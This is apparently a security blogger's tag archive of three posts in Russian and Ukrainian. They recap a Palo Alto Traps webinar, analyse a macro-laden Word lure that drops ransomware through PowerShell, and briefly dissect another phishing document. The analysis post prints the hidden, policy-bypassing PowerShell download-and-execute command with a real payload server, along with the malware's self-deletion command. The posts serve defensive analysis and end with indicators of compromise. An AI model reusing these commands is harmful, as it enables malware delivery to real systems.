Tag Archive | VBA

Palo Alto Traps vs новые семплы

Вчера (14/07/16) провел первый вебинар по решению Palo Alto Networks Traps.
В процессе были рассмотрены типичные техники работы актуальных образцов ransomware, RAT.
Для тестирования защиты помимо семплов использовал metasploit-framework, msfvenom и veil-evasion.

Примечательно, что практически сразу после вебинара получил новый образец. Сразу решил проверить на нем Traps.
Результат превзошел мои ожидания – даже с выключенным WilFire, отключенными запретами вирусных техник Traps продолжал сопротивляться и не давал семплу инжектировать себя в системные процессы:

macro2Первый запуск – вся защита активирована. Сработала блокировка дочерних процессов.

trapsВторой запуск – отключен запрет на дочерние процессы и на запуск из %tmp%, %appdata%. Сработал WildFire.

DLLТретий запуск – защита от вирусов и WildFire отключен(!). Сработал блок инжекта.

Что такое Palo Alto Traps и как он защищает:


Для тех. кому slideshare неудобен публикую презентацию отдельным файлом pdf (2,5 Мб)
Контент презентации рассчитан на сотрудников ИТ/ИБ подразделений.

Видеозапись вебинара с живой демонстрацией:

Будьте осторожны при использовании высоких технологий.

VR

PowerShell, або “не довго музика та грала..”

PowerShell

Bruce Wayne: Today you get to say “I told you so.”
Alfred: Today, I don’t want to.
(pauses for several moments)
Alfred: But I did bloody tell you.

У минулому дописі я зробив висновок про те, що нові семпли будуть частіше використовувати вбудовані можливості систем (наприклад, PowerShell). Наступного ж дня після публікації мені надіслали зразок ШПЗ який підтвердив мої слова. Давайте поглянемо на нього разом.

I. Вступ (або як усе могло би закінчитися за ~10 хвилин)

Що повинна робити освічена людина у наш непростий час коли вона отримує підозріле приєднання на кшталт Scan_6_10_2016.doc ? Правильна відповідь – в жодному разі не поспішати відкривати його одразу. Тут варто одразу сказати, що користувачеві у скриньку не повинні потрапляти такі файли, позаяк це говорить про те, що в організації немає “пісочниці” (sandbox), а фільтрація поштових приєднань не налагоджена належним чином. Що ж, ми із вами живемо не в ідеальному світі. Відкривши файл жертва побачить наступне:

macro

Замість очікуваного скану документу ми бачимо прохання активувати макрос.. І тут варто би зупинитися і передати файл на аналіз ІТшникам/ІБшникам.. А що у свою чергу має зробити відповідальний співробітник ІТ/ІБ департаменту? Навіть не відкриваючи файл, не витрачаючи часу на запуск тестової віртуальної машини?

Напевне взяти до рук такий шикарний та перевірений інструмент як oletools (вимагають наявності у системі Python 2.x) і за 15-30 секунд отримати відповідь на головне запитання:

scan_test scan_test3 scan_test2

Так, документ містить макрос який викликає PowerShell і передає йому якусь незрозумілу послідовність інструкцій, яка у свою чергу закінчується такою командою:

final = “POWERSHELL.EXE -ExecutionPolicy bypass -noprofile -windowstyle hidden -Enc ” & first

Загалом, наявність макросу та ще й із передачею команд із параметром “Execution Policy bypass” повинна бути яскравим доказом небезпеки, але … може це все ж таки щось “потрібне по роботі”? (сарказм)

Навіть якщо технічний спеціаліст не володіє базовими навичками роботи із Powershell, усього за кілька хвилин він може знайти опис параметра -Enc :

-Enc, -EncodedCommand <Base64EncodedCommand>

Угу, значить наша загадкова послідовність це команди, що були зашифровані у Base64. Витративши іще пару хвилин, скористаймося першим ліпшим онлайн-декодером. І тоді незрозумілі рядки:

first = “UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1…

Перетворяться на цілком чіткі команди:

PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile(‘http://93.174.94.135/~harvy/verfgt.exe&#8217;, $env:APPDATA\verfgt.exe );Start-Process ( $env:APPDATA\verfgt.exe )

macro_listing2

І на цьому моменті можна було би поставити крапку. Я не жартую. Просто взяти до у ваги адресу поштового серверу, з якого прийшов цей лист; самотужки завантажити шкідливий verfgt.exe; надіслати його аналітикам антивірусу (щоб включили в наступні сигнатури); ще раз перевірити правила, що мають блокувати створення та запуск .exe із каталогів %AppData%; і головне – не забути подякувати користувачеві за його обачність.

Ось і все. Справу закрито – можна розійтися, випити чаю/кави чи чогось міцнішого та обговорити більш важливіші події на теренах кіберпростору..

Але про що я кажу, адже якщо ви досі читаєте ці рядки, то ви тут заради аналізу. Тому перейдемо до наступних кроків. Мені просто закортіло навести приклад того, як би мали реагувати користувачі та відділ СБ/ІБ на подібні листи після стількох випадків атак через фішинг.

II. Основна частина (або як буває у 90% випадків)

Очевидно, що ми маємо справу із бінарною кібер-атакою. Адже документ-приманка є нічим іншим, як представником сімейства W97M/Downloader. Задача приманки – ініціювати процес завантаження та запуск основного модуля (другої частини атаки). В даному випадку приманка залучає PowerShell для прихованого завантаження файлу. Основний же модуль є новою версією ransomware – знайомтесь, Cerber. Цей вид ПШЗ застосовується для шифрування документів з метою отримання викупу за відновлення доступу до інформації. Сам Cerber завантажується і запускається із %AppData% (неважко помітити в деобфускованій частині команд – $env:APPDATA).

те недолуге відчуття, коли тебе нарешті почули, але зовсім не ті до кого ти звертався

Так, вони (автори семплів) змінили тактику і використовують для старту інший каталог із системного оточення. Вочевидь, поради блокувати створення нових .exe файлів у %temp% та їх запуск почали заважати бізнесу тих, хто займається атаками чи написанням семплів. Хоча, про %AppData% я написав вперше коли розбирав CTB Locker – уже більше року тому. Просто майте на увазі, коли формуватимете політики безпеки.

Якщо приманка успішно виконала свою задачу, то на скомпрометованій системі починається така активність:

activate

Файл, який був завантажений PowerShell запускається із %AppData% (для Win8 яка виступала у ролі полігону ця змінна лінкує каталог **\Users\*\AppData\Roaming). Після запуску Dridex копіює своє тіло у окремий каталог в середині AppData\Roaming\ із рандомно згенерованим ім’ям (кожна активація призводить до зміни імені). У мене перший запуск дав таку картинку:

verfgt.exe -> charmap.exe, а другий прохід:

verfgt.exe -> srdelayed.exe.

Після копіювання перший процес додає нащадка в автозавантаження (HKU\CurrentVersion\Run, RunOnce та ControlPanel\Desktop\SCRNSAVE.EXE), здійснює пошук присутніх додатків, завершує та видаляє сам себе (семпл який ми розглядали раніше не мав засобів закріплення і не вмів зачищати свої сліди!):

proc_activiry reg_activity

Батьківський процес завершує і видаляє сам себе такою командою:

/d /c taskkill /t /f /im “verfgt.exe” > NUL & ping -n 1 127.0.0.1 > NUL & del “C:\Users\GK17\AppData\Roaming\verfgt.exe” > NUL

Але перед цим проводить такий пошук:

Searched C:\Documents and Setting s\Administrator\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\Documents and Setting s\Default User\StartMenu\Prog rams\StartUp\*.lnk
Searched C:\WINDOWS\system32\g *s.exe
Searched C:\WINDOWS\system32\o*b.exe
Searched C:\WINDOWS\system32\o*h.exe
Searched C:\WINDOWS\system32\t*s.exe
Searched C:\WINDOWS\system32\y*o.exe

Новостворений нащадок, що розташувався за шляхом *\AppData\Roaming\{xxxxxx}\xxxx.exe встановлює з’єднання із C&C сервером, передає йому IP скомпрометованої системи та готується отримати команди:

tcp

(!) Зверніть увагу:

А ще, цей семпл здійснював розсилку UDP пакетів по діапазону IP адрес, що були закріплені за німецьким провайдером. Зміст пакету = hi03a442e

netwrk

upd

Варто зазначити, що обидві мої тестових полігони семплу здалися підозрілими і він, не отримавши команди зовні через кілька хвилин видалив сам себе. Але це його не врятувало, бо я встиг законспектувати його дії.

III. Висновки (поради та маркери компрометації)

Як і у випадку з Java навряд чи заборона PowerShell буде прийнятною мірою для всіх. Організаціям варто посилити фільтрацію поштових приєднань – блокувати або вирізати активний вміст документів до того, як вони потраплять на очі користувачеві. На рівні кінцевих точок необхідно контролювати, хоча би відстежувати, а краще взагалі блокувати спроби створити та запустити новий .exe файл за шляхами %tmp%\ та %AppData%\. Рекомендації щодо проведення співбесід-тренінгів для користувачів та впровадження періодичних тестів на проникнення залишаються в силі. Також не завадить розглянути можливість застосування “пісочниці” (для забезпечення статичного та динамічного аналізу коду), а на кінцевих точках розгорнути рішення, що дозволить працювати із білими списками (обмежити виконання неавторизлваних скриптів/запускних файлів.

P.S.

Головні висновки, які я зробив для себе під час вівісекції цього семплу:

  1. Вони будуть застосовувати механізми ОС та бізнес-додатки для обходу захисту;
  2. Вони поступово припинять писати payload в %temp%;
  3. Вони стають дедалі обережнішими (перевірка параметрів та самознищення у комплекті) – це значить, якщо адмін або ІБшнік прогавили момент активації, то через 5хв на системі жертви уже може бути пусто (або не підійшла, або уже зібрали необхідні дані);
  4. Сигнатури знов не спрацювали у перші 12 годин активності семплу;
  5. У цьому варіанті Dridex присутній претекст, чого раніше не було. Прохання активувати макроси може бути локалізованим та стилізованим під бланки установ фінансової галузі, що збільшить кількість інфікованих.

Маркери компрометації наведено нижче:

Scan_6_10_2016.doc SHA1=5067a8791ed42cb4e2c8a2637c8d400e54c2b9d1

verfgt.exe SHA1=8bd41d2a41f8a375d3de9fdd84f40f3bb17c5298

сервер з якого завантажується payload по 80 TCP = 93.174.94.135

C&C з яким спілкування іде по 80 TCP = 52.29.28.22

розсилка пакетів “hi03a442e” по 6892 UDP = 85.93.0.x

Будьте уважними та обережними при роботі з ІТ.

“Но раны остаются ранами. Они заживают, рубцуются, и вроде бы ты о них уже забыл вовсе, а потом переменится погода, они и заноют.”

MV5BMTU2OTcwMjA0NV5BMl5BanBnXkFtZTcwODI3MjA5Mg@@._V1_SX640_SY720_

VR

Первичный анализ очередного фишинга

Краткий разбор свежего семпла подручными средствами (а-ля сам себе sandbox)

И так, приступим к вивисекции.

Пример письма опубликую как только получу разрешение. Если вдруг кто-то забыл, как выглядит типичный современный фишинг – смотрите пример из предыдущей заметки.

В этот раз героем нашего шоу стал … документ MS Word. Внимательные читатели уже догадались – да, файл содержит макрос. Атакующие настолько обленились, что даже картинку-предупреждение не ставят (мол “цей документ було створено у більш новішій версії … активуйте макроси“). Оно и правильно – зачем напрягаться, если 90% потенциальных жертв и так кликнут и запустят.

Но давайте посмотрим – а что же происходит с теми пользователями, которые по неосторожности/незнанию или халатности активируют макрос?

win7

Я ожидал увидеть стандартный подход – извлечение тела дроппера из макроса в %temp% либо %AppData%, но не сложилось. Я сперва огорчился, а потом воспрянул духом – может это и есть тот самый опасный 0-day и этот макрос заставляет WINWORD.EXE делать всю грязную работу?(ууууу)

Но не тут-то было. Видно работали на скорую руку, потому ограничились тупой загрузкой дроппера с одного из файловых серверов, который хоститься во Франции:

GET hxxp://213.186.33.18/~lelodged/43543r34r/843tf.exe

win7-4

Сам IP файлового сервера находиться в зоне риска по GTI:

Screenshot-213.186.33.18 - IP - McAfee Labs Threat Center - Iceweasel (Private Browsing)

Т.е. если бы был IPS либо NGFW, то на этом шаге все бы и закончилось..

После загрузки и запуска оного получаем уже коннект на C&C, который хостится в Санкт-Петербурге:

843tf.exe >> 62.76.191.108

win7-6win7-8win7-9

А вот IP C&C еще не засвеченный потому по GTI пусто:

Screenshot-62.76.191.108 - IP - McAfee Labs Threat Center - Iceweasel (Private Browsing)

EXE-шник, к слову, уже детектится на конечной точке по GTI

Artemis!BBA6C087E282

На сегодня пока все.

IP адреса и документ с EXEшником переданы куда надо.

Следите за обновлениями.

# # # #

Мораль: обучайте своих пользователей распознавать фишинг. Объясняйте почему не стоит сразу открывать подозрительное вложение. И почему не нужно активировать макросы, даже если очень-очень просят или наоборот не просят.

vlcsnap-2016-01-29-00h17m11s026

VR